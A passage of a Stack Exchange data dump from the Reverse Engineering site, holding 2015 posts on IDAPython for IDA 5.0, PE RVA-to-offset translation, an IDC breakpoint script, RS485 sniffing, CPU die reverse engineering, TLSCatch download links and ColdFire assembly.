simply rewriting the import table of an IDAPython 1.0.0 plugin built for IDA 5.1 is not an option, since it uses 32 IDA.WLL exports that are not available version 5.0. This means that the plugin source has to be modified - either to implement the missing functions or to remove all references to them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I put a set of patches for IDAPython-1.0.0 and for the IDA 5.0 SDK headers in a github repo (&lt;a href=&quot;https://github.com/DarthGizka/IDAPython-free&quot; rel=&quot;nofollow&quot;&gt;IDAPython-free&lt;/a&gt;). The repo also contains a .def file for creating an implib for IDA 5.0 free (only the imports needed by the plugin) and a .csv file giving all ordinals for all exports of the IDA 5.0 free ida.wll, in case someone wants to add more exports to the lib. Last but not least, the file &lt;a href=&quot;https://github.com/DarthGizka/IDAPython-free/blob/master/misc/idapython-1.0.0_ida5.0_py2.7_win32.zip&quot; rel=&quot;nofollow&quot;&gt;idapython-1.0.0_ida5.0_py2.7_win32.zip&lt;/a&gt; contains the result of the build, ready to be extracted into an IDA 5.0 free installation. That's the .py files, the plugin (with .pdb), and the examples. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested the whole shebang with python 2.7.9, and the examples ran fine. IDAPython-1.0.0 was written for python 2.5.x or thereabouts, though, which means that some serious testing is indicated. Another thing is that this version of IDAPython is some seven years old; there's some serious catching up to be done in terms of advances and bug fixes. I'm neither a snake charmer (I prefer IDC and C++) nor a user of IDA free (having forked over $$$$ for IDA Pro), but I would be willing to lend a hand if someone wants to take point on an 'IDAPython free' project.&lt;/p&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-02-19T22:32:06.857" LastActivityDate="2015-02-19T22:32:06.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8246" PostTypeId="1" CreationDate="2015-02-15T18:15:28.070" Score="0" ViewCount="1416" Body="&lt;p&gt;What is really correct translation algorithm to get an offset in portable executable file from relative virtual address of some byte in the image?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see next cases:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;RVA points into the header part of image&lt;/li&gt;&#xA;&lt;li&gt;RVA points into a section part presented in file&lt;/li&gt;&#xA;&lt;li&gt;RVA points into a section part not presented in file (some loadtime initialized data)&lt;/li&gt;&#xA;&lt;li&gt;RVA points out of image&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the first case it's like RVA is equal to offset in a file. (If all parts of file are mapped to the image. I'm not sure about DOS header.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, mapped section can be biger than section in a file so some RVAs jast have no offset like RVA that points out of image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And last things that I does not undestand at all. Are the values of fildes SizeOfImage, VirtualSize, VirtualAddress, PointerToRawData, SizeOfRawData already take into consideration file alignment and section alignment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw some realizations of RvaToRaw full of black magic that made a correction for alignments, but without any explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If no more alignment is needed so for case 2 it's&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;raw = rva - rvaOfSection + SectionRaw&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11737" LastEditorUserId="11737" LastEditDate="2015-02-15T18:21:20.313" LastActivityDate="2015-02-15T18:21:20.313" Title="Rva to raw file offset in PE" Tags="|windows|pe|address|" AnswerCount="0" CommentCount="2" ClosedDate="2015-02-19T14:10:44.907" ContentLicense="CC BY-SA 3.0" />
  <row Id="8247" PostTypeId="1" AcceptedAnswerId="8251" CreationDate="2015-02-15T20:41:57.877" Score="1" ViewCount="252" Body="&lt;p&gt;I'm trying to RE an application which shows after hitting a button a specific number.&#xA;The number comes from a file after parsing it. Input = 5, number displayed = 5 and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to track down the disassembled code where the number being loaded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;v3 = *(_DWORD *)(*((_DWORD *)AfxGetModuleState() + 1) + 164);&#xA;&#xA;ATL::CStringT&amp;lt;char,StrTraitMFC_DLL&amp;lt;char,ATL::ChTraitsCRT&amp;lt;char&amp;gt;&amp;gt;&amp;gt;::Format(v2 + 168, &quot;%u&quot;, *(_DWORD *)(v13 + 1032));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The last part &lt;code&gt;v13 + 1032&lt;/code&gt; told me where to look on the stack and indeed I found the number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stack overview&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00188F7C  0000000&#xA;00188F80  0000004&#xA;00188F84  0000001&#xA;00188F88  000001D&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now my question is:&lt;/strong&gt; Is there any way in IDA to show me the code which is putting those 4 values on the stack? The surounding lines (Line1, 3 and 4) &lt;strong&gt;always&lt;/strong&gt; have the same values.&lt;/p&gt;&#xA;" OwnerUserId="11766" LastActivityDate="2015-02-19T09:42:52.030" Title="Finding responsible part of code writing specific values on stack" Tags="|ida|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8249" PostTypeId="2" ParentId="6003" CreationDate="2015-02-16T00:21:47.760" Score="11" Body="&lt;p&gt;BinView is a prototype for a tool for binary data visualization&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/russlank/BinView&quot;&gt;GitHub repository&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WhBam.jpg&quot; alt=&quot;Screen 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ekk7G.jpg&quot; alt=&quot;Screen 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2TeIW.jpg&quot; alt=&quot;Screen 3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fk0f3.jpg&quot; alt=&quot;Screen 4&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11770" LastActivityDate="2015-02-16T00:21:47.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8250" PostTypeId="2" ParentId="8237" CreationDate="2015-02-16T03:52:41.197" Score="1" Body="&lt;p&gt;Sounds a lot like my recent CAN bus sniffing. Ha! That's funny, RS485 is a popular alternative to CAN. :P &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few quick thoughts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You're not terminating your &quot;RE&quot; master node properly.&lt;/li&gt;&#xA;&lt;li&gt;You need to check the very first comms to see if there is an opening sequence, such as to establish privilege.&lt;/li&gt;&#xA;&lt;li&gt;I see numbers incrementing in your output. That's definitely not on accident.&lt;/li&gt;&#xA;&lt;li&gt;Are the big packets all the same size? If not, there will be a length value somewhere in the packet. You'll need some kind of program to go through each packet checking if any byte or word matches the length of the total packet or length following (and also with / without CRC+0x1003).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Googling for &lt;code&gt;RS485 half duplex bus protocol crc 0x1003&lt;/code&gt; led me to a few interesting PDFs about protocols. Unless the makers are hideously paranoid, they'll be using something &quot;normal&quot; on the RS485 bus: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modbus (can have ASCII or TCP frames). I haven't studied TCP frames, but wouldn't surprise me if that could be source of the incrementing values.&lt;/li&gt;&#xA;&lt;li&gt;CANopen maybe? Why not it's a protocol... :P&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.automationdirect.com/static/manuals/ea1mg6userm/appxa.pdf&quot; rel=&quot;nofollow&quot;&gt;This PDF result&lt;/a&gt; from the google above lists all kinds of different protocols I haven't heard of before.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd set up a chipKIT uC32 with multiple UARTs in the middle with a &quot;master&quot; side and a &quot;slave&quot; side. You'll probably need the &quot;driver&quot; or &quot;transceiver&quot; ICs for each circuit. Oh, an Arduino might work, but the 80MHz PIC32 in the chipKIT rocks. Once you can relay messages and the system keeps working, you'll know a lot more about what's going on. Physically and signal-wise.&lt;/p&gt;&#xA;" OwnerUserId="11584" LastActivityDate="2015-02-16T03:52:41.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8251" PostTypeId="2" ParentId="8247" CreationDate="2015-02-16T08:13:48.877" Score="2" Body="&lt;p&gt;Set a code breakpoint at the point where the stack frame is established and another one at the point where your target value gets used (and hence must have been written already).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the condition script for the first breakpoint you can add a hardware write breakpoint for your target location; its absolute address can be computed at that point because you have the actual values of ESP and EBP. The second breakpoint is for deleting that hardware breakpoint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the condition script for the hardware breakpoint you can do whatever you want: check for a specific value being written, check surrounding values etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;a href=&quot;http://www.cheatengine.org/&quot; rel=&quot;nofollow&quot;&gt;CheatEngine&lt;/a&gt; was written expressly for tasks like that. You might get results quicker and more easily if you get CheatEngine instead of trying to make sense of IDAs meagerly documented - and often quite bizarre - interfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a rudimentary script that you can adapt by modifying the test in &lt;code&gt;target_check_()&lt;/code&gt; and adapting the stack offset in &lt;code&gt;set_target_breakpoint_()&lt;/code&gt;. The values there are from a quick test that I did to ensure that the code works. This is for IDA 6.7; it will definitely not work with the free IDA (v5.0).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;idc.idc&quot;&#xA;&#xA;static main ()&#xA;{&#xA;   set_helper_breakpoints_(LocByName(&quot;test_ufuncs_t&quot;), 0);&#xA;}&#xA;&#xA;static target_check_ (ea)&#xA;{&#xA;   auto e;&#xA;&#xA;   try&#xA;   {&#xA;      Message(&quot;DbgDword(%x): %x @ EIP %x\n&quot;, ea, DbgDword(ea), EIP);&#xA;&#xA;      return DbgDword(ea) == 0x410A10;&#xA;   }&#xA;   catch (e)  {  Message(&quot;error: %s\n&quot;, e.description);  }&#xA;&#xA;   return 0;&#xA;}&#xA;&#xA;static set_target_breakpoint_ (term_bpt)&#xA;{&#xA;   auto target_ea = ESP - 0x70;&#xA;&#xA;   Message(&quot;target_ea %a\n&quot;, target_ea);&#xA;&#xA;   SetBptCndEx(term_bpt, form(&quot;DelBpt(0x%x) &amp;amp; 0&quot;, target_ea), 0);&#xA;   AddBptEx(target_ea, 4, BPT_WRITE);&#xA;   SetBptCndEx(target_ea, form(&quot;target_check_(0x%x)&quot;, target_ea), 0);&#xA;&#xA;   return 0;&#xA;}&#xA;&#xA;static set_helper_breakpoints_ (init_bpt, term_bpt)&#xA;{&#xA;   if (term_bpt &amp;lt;= 0)&#xA;      term_bpt = FindCode(GetFunctionAttr(init_bpt, FUNCATTR_END), SEARCH_UP);&#xA;&#xA;   Message(&quot;set_helper_breakpoints(): %s %s\n&quot;, GetFuncOffset(init_bpt), GetFuncOffset(term_bpt));&#xA;&#xA;   AddBptEx(init_bpt, 0, BPT_DEFAULT);&#xA;   AddBptEx(term_bpt, 0, BPT_DEFAULT);&#xA;   SetBptCndEx(init_bpt, form(&quot;set_target_breakpoint_(0x%x)&quot;, term_bpt), 0);&#xA;   SetBptCndEx(term_bpt, &quot;0&quot;, 0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10027" LastEditorUserId="10027" LastEditDate="2015-02-16T14:51:49.767" LastActivityDate="2015-02-16T14:51:49.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8252" PostTypeId="1" AcceptedAnswerId="8255" CreationDate="2015-02-16T12:13:41.830" Score="2" ViewCount="1224" Body="&lt;p&gt;Is there a trick in IDA Pro to deal with unrolled loops like in the screenshot below?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kTBj6.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another, possibly related compiler optimisation is this - instead of loading an offset into a memory area, it does mov for each character (MSVC8). Any quick way to deal with these?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1ZIxV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1765" LastActivityDate="2015-02-16T15:57:34.220" Title="IDA pro and unrolled loops" Tags="|ida|compilers|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8253" PostTypeId="2" ParentId="8247" CreationDate="2015-02-16T13:57:10.410" Score="1" Body="&lt;p&gt;I'll try to guess what happening in your binary, but this will remain only my guess until you provide it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to break API functions while debugging application that process both getting keyboard code and printing the result. In &lt;a href=&quot;http://windbg.info/&quot; rel=&quot;nofollow&quot;&gt;WinDbg&lt;/a&gt; it can be done like &lt;code&gt;bp USER32!GetKeyboardState; dd esp+x (or dd poi(esp+x) )&lt;/code&gt;&#xA;Note, that this operation requires debug symbols installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your question was about IDA, but in my opinion separate debugger suits better for such task.&lt;/p&gt;&#xA;" OwnerUserId="4609" LastActivityDate="2015-02-16T13:57:10.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8254" PostTypeId="2" ParentId="8221" CreationDate="2015-02-16T14:24:46.613" Score="1" Body="&lt;p&gt;I remember a presentation by Halvar Flake about this topic. Unfortunately I cannot link it, but a Google search for &quot;halvar automated bounds check&quot; will lead you to a Blachat .ppt from 2001. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It contains IDC (IDA Scripting) code to do just that - automated analysis for locations where for example strcpy(), memcpy() and the likes are called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe this is helpful.&lt;/p&gt;&#xA;" OwnerUserId="11771" LastActivityDate="2015-02-16T14:24:46.613" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8255" PostTypeId="2" ParentId="8252" CreationDate="2015-02-16T15:57:34.220" Score="1" Body="&lt;p&gt;There is a topic regarding the 2nd question, see &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2977/how-can-i-clean-up-strings-built-at-runtime&quot;&gt;How can I clean up strings built at runtime?&lt;/a&gt;. Personally I use the script by ASERT script, it works pretty well.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2015-02-16T15:57:34.220" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8257" PostTypeId="2" ParentId="8221" CreationDate="2015-02-16T22:53:25.087" Score="0" Body="&lt;p&gt;Yes, to some extent. A great example is from Halvar Flake, called BugScam (last updated in 2003).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source code for the BugScam IDA plugin: &lt;a href=&quot;http://sourceforge.net/projects/bugscam/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/projects/bugscam/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This project is also referenced in Chris Eagle's &lt;a href=&quot;https://books.google.com/books?id=3nPAM3AZ1foC&amp;amp;lpg=PA481&amp;amp;ots=Nl4bITGhEn&amp;amp;dq=bugscam%20ida&amp;amp;pg=PA481#v=onepage&amp;amp;q=bugscam%20ida&amp;amp;f=false&quot; rel=&quot;nofollow&quot;&gt;IDA Pro book (p 481)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2015-02-16T22:53:25.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8258" PostTypeId="2" ParentId="5878" CreationDate="2015-02-17T05:45:08.617" Score="14" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there open source projects that completely restore the inner circuitry of modern Intel CPUs? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not for modern CPUs. Not even for 10-15 years old CPUs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In 2015 the reverse engineering of &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_8080&quot;&gt;Intel 8080&lt;/a&gt; was finished, and this CPU is from 1974 year (actually, Soviet i8080 clone &lt;a href=&quot;https://en.wikipedia.org/wiki/KR580VM80A&quot;&gt;KR580VM80A&lt;/a&gt; from 1980s was reversed). Both CPUs were made with 6 μm feature size, so the chip can be photographed using cheap optical microscope. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The report in english is here: &#xA;&lt;a href=&quot;http://zeptobars.ru/en/read/KR580VM80A-intel-i8080-verilog-reverse-engineering&quot;&gt;http://zeptobars.ru/en/read/KR580VM80A-intel-i8080-verilog-reverse-engineering&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project was coordinated here (russian): &lt;a href=&quot;http://zx-pk.ru/printthread.php?t=23349&amp;amp;pp=40&quot;&gt;http://zx-pk.ru/printthread.php?t=23349&amp;amp;pp=40&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Availability of detailed documentation (with block-schemes), low amount of transistors (4758 units), coarse features, single metal layer and readable dopant zones allowed to do this project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other successful project was &lt;a href=&quot;https://en.wikipedia.org/wiki/MOS_Technology_6502&quot;&gt;MOS 6502&lt;/a&gt; from 1975, 5-16 μm feature size, 3.5 thousands transistors - &lt;a href=&quot;http://www.visual6502.org/&quot;&gt;http://www.visual6502.org/&lt;/a&gt; (They have &lt;a href=&quot;http://visual6502.org/wiki/index.php?title=Chips_in_our_collection&quot;&gt;big collection&lt;/a&gt; of chip photos, but they are not reversed to the schematics)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of  KR580VM80A reversers &lt;a href=&quot;http://habrahabr.ru/company/zeptobars/blog/182286/&quot;&gt;reported project about reversing&lt;/a&gt; (russian) MIPS R3051 based Playstation 1  CPU made with 0.8 μm (800 nm) feature size in 1995. Project site is &lt;a href=&quot;http://psxdev.ru/&quot;&gt;http://psxdev.ru/&lt;/a&gt;. This CPU has 250 thousands transistors and three layers of metal. In two years after start, good optical photos of chip and all its layers were made (all metals, silicon and dopant), many standard cells &lt;a href=&quot;http://wiki.psxdev.ru/index.php/CPU_CELLS&quot;&gt;were identified&lt;/a&gt;, but only multiplier block was rather fully reversed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, 0.25 million-transistor device is out of reach for amateurs, and modern &lt;a href=&quot;https://en.wikipedia.org/wiki/Transistor_count&quot;&gt;Intel devices have transistor count&lt;/a&gt; of 50 millions in Pentium 3/4 (2000, around 130nm), 50 mln in Atom (2008, 45nm); 200-400 mln in Core 2 (2007, 65-45 nm) and more then 1000 millions in bigger chips like Core i7 (2010, 32nm).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it simply possible, or are circuits closed and/or protected by proprietary technology?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The circuits and its &quot;sources&quot; (verilog) are proprietary; the software used to convert them into the transistor pattern is proprietary (some by Intel, possibly some by other vendors). And there are not any chance to readout the schematics back from the die (the fabricated chip), because features are too small to be visible in optical microscope; and dopant levels are too low to be read out by even scanning electron microscope (SEM) for the full chip. There just too much information inside the chip (I consider modern photo lithography tools to be most advanced data transfer tools made by mankind; with terabytes per second transferred from photomask into the wafer).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, the paper &lt;a href=&quot;http://sharps.org/wp-content/uploads/BECKER-CHES.pdf&quot;&gt;Stealthy Dopant-Level Hardware Trojans&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, optical reverse-engineering does not usually allow to detect&#xA;  changes made to the dopant, especially in small technologies. A&#xA;  dedicated setup could eventually allow to identify the dopant&#xA;  polarity. However, doing so in a large design comprising millions of&#xA;  transistors implemented with small technologies seems impractical ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are several companies which are able to reverse engineer &lt;strong&gt;some parts&lt;/strong&gt; of modern chips, but Intel's CPUs are too big to be fully reversed (this process will have impractical cost both in money and in man- and computer-hours). For example, reversing leader, Chipworks - &lt;a href=&quot;http://www.chipworks.com&quot;&gt;www.chipworks.com&lt;/a&gt; - &lt;a href=&quot;http://www.chipworks.com/en/intellectual-property-services/technical-capabilities/circuit-analysis&quot;&gt;lists some examples&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Examples of our experience and capabilities&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Stand-alone and embedded memory&lt;/li&gt;&#xA;&lt;li&gt;Field programmable gate array (FPGA) and other gate arrays&lt;/li&gt;&#xA;&lt;li&gt;Analog-to-digital converters (ADC) and digital-to-analog converters&#xA;(DAC) PLLs and clock generators&lt;/li&gt;&#xA;&lt;li&gt;Wired and wireless devices, including transceivers and mixers&lt;/li&gt;&#xA;&lt;li&gt;Advanced CMOS microprocessors, graphic chips, DSPs, and microcontrollers&lt;/li&gt;&#xA;&lt;li&gt;RFIDs and smartcard chips&lt;/li&gt;&#xA;&lt;li&gt;Power semiconductor devices including regulators and high/low power designs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But most of their projects were reversing of some small chips (made with not the most advanced technology) or reversing of some parts of chips.&#xA;They are able of opening chip, making some nice &lt;a href=&quot;http://www.chipworks.com/en/technical-competitive-analysis/resources/blog/intels-22-nm-tri-gate-transistors-exposed/&quot;&gt;SEM photos of chip cross-section&lt;/a&gt;, or optical photos of full die top metals or silicon layer in very coarse resolution (good to measure area of chip or its blocks, but no reversing from this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They sells some photos and reports about Intel chips, for example of &lt;a href=&quot;https://chipworks.secure.force.com/catalog/ProductDetails?sku=INT-i5-660&amp;amp;viewState=DetailView&amp;amp;cartID=&amp;amp;g=&amp;amp;parentCategory=&amp;amp;navigationStr=CatalogSearchInc&amp;amp;searchText=intel&quot;&gt;Core i5-660&lt;/a&gt;:&#xA;* 200 USD for die photo (top metal?)&#xA;* 2500 USD for M1 (lower metal) photo&#xA;* 11000 USD for report of used package&#xA;* 15-15.5 thousands USD for  Layout and Design (DfM) Analysis or Transistor Characterization&#xA;* 24.5 thousands USD for Structural Analysis Report&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people think, that it will be much cheaper to redevelop the modern CPU than trying to reverse engineer it from the chip. And, possibly, some &lt;em&gt;federal agencies&lt;/em&gt; may infiltrate their federal agents into the company to try to steal the CPU sources; but I think that they can get sources to the agent's hands, but will be not able to get them outside the buildings.&lt;/p&gt;&#xA;" OwnerUserId="3312" LastActivityDate="2015-02-17T05:45:08.617" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8259" PostTypeId="1" CreationDate="2015-02-17T10:25:51.870" Score="0" ViewCount="466" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/I2Cvh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been analyzing a &lt;del&gt;Kazy&lt;/del&gt; (derp) Ramdo variant that is relatively recent and was surprised to see an access violation in resource hacker when trying to view an embedded bitmap. Is this common or potentially something more sinister? Is the next best course of action to run reshack in a debugger and watch what happens? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I manually saved the potentially offending bitmap in question by right clicking and pressing 'save'. I will analyze the bitmap independently. &lt;/p&gt;&#xA;" OwnerUserId="3490" LastEditorUserId="53" LastEditDate="2015-02-25T16:13:16.230" LastActivityDate="2015-02-25T16:13:16.230" Title="Does malware ever purposely embed resources to thwart resource analysis and extraction" Tags="|malware|digital-forensics|pe-resources|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8260" PostTypeId="1" AcceptedAnswerId="8261" CreationDate="2015-02-17T14:07:00.223" Score="0" ViewCount="115" Body="&lt;p&gt;I've been trying to get antiResHacker.exe as mentioned in this question: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1399/how-to-prevent-use-of-resource-editors&quot;&gt;How to prevent use of Resource editors&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the codebase for ollytlscatch (&lt;a href=&quot;https://code.google.com/p/ollytlscatch/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/ollytlscatch/&lt;/a&gt;) seems to be inaccessible. Is there a canonical location for this set of tools or are they no longer in public circulation? &lt;/p&gt;&#xA;" OwnerUserId="3490" LastActivityDate="2015-02-17T15:40:58.657" Title="Where is the code for ollytlscatch?" Tags="|ollydbg|debuggers|anti-debugging|digital-forensics|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8261" PostTypeId="2" ParentId="8260" CreationDate="2015-02-17T15:40:58.657" Score="2" Body="&lt;p&gt;The source code for TLSCatch can be downloaded from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://myollyplugins.googlecode.com/files/TLSCatch.rar&quot; rel=&quot;nofollow&quot;&gt;https://myollyplugins.googlecode.com/files/TLSCatch.rar&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And the binary for it can be downloaded from these two locations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://myollyplugins.googlecode.com/files/TLSCatch.dll&quot; rel=&quot;nofollow&quot;&gt;https://myollyplugins.googlecode.com/files/TLSCatch.dll&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.woodmann.com/collaborative/tools/images/Bin_ollytlscatch_2010-11-3_19.7_TlsCatch.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.woodmann.com/collaborative/tools/images/Bin_ollytlscatch_2010-11-3_19.7_TlsCatch.zip&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Furthermore, you can download sample programs to test TLSCatch from:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/*/http://ollytlscatch.googlecode.com/files/*&quot; rel=&quot;nofollow&quot;&gt;https://web.archive.org/web/*/http://ollytlscatch.googlecode.com/files/*&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-02-17T15:40:58.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8262" PostTypeId="2" ParentId="2977" CreationDate="2015-02-17T17:53:12.200" Score="4" Body="&lt;p&gt;The one that worked for me eventually was &amp;quot;&lt;a href=&quot;https://github.com/mandiant/flare-ida/blob/master/plugins/stackstrings_plugin.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;stackstrings&lt;/a&gt;&amp;quot; plugin from FireEye/Mandiant FLARE (&lt;a href=&quot;https://github.com/mandiant/flare-ida/blob/master/python/flare/stackstrings.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;based on this module&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1765" LastEditorUserId="245" LastEditDate="2022-06-01T10:04:59.500" LastActivityDate="2022-06-01T10:04:59.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="8263" PostTypeId="1" CreationDate="2015-02-17T20:56:08.307" Score="1" ViewCount="622" Body="&lt;p&gt;I have a coldfire sequence from IDAPro that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub_29be8:&#xA;&#xA;var_8 = -8&#xA;var_2 = -2&#xA;arg_0 = 8&#xA;arg_6 = $E&#xA;&#xA;link a6, #-4;  &#xA;move.l a2, -(sp)&#xA;movea.l arg_0(a6),a2&#xA;tst.w arg_6(a6)&#xA;bne.s loc_29c00&#xA;bset #5, $1e(a2)&#xA;bra.s loc_29c14&#xA;&#xA;....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the documentation &lt;a href=&quot;http://www.depeca.uah.es/depeca/repositorio/asignaturas/20602/InstructionSet.pdf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, I'm having some issues with understanding what exactly the documentation is saying.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LINK Ay,#&amp;lt;displacement&amp;gt; W &#xA;SP – 4→SP; //subtract SP by 4 and set into SP&#xA;Ay → (SP); //set address pointed to in Ay and set into value of SP&#xA;SP→Ay, SP + dn → SP  //set SP into Ay, add the offset specified by &amp;lt;displacement&amp;gt; and set into SP&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are ALL of these steps executed for the &lt;code&gt;LINK&lt;/code&gt; instruction, or are 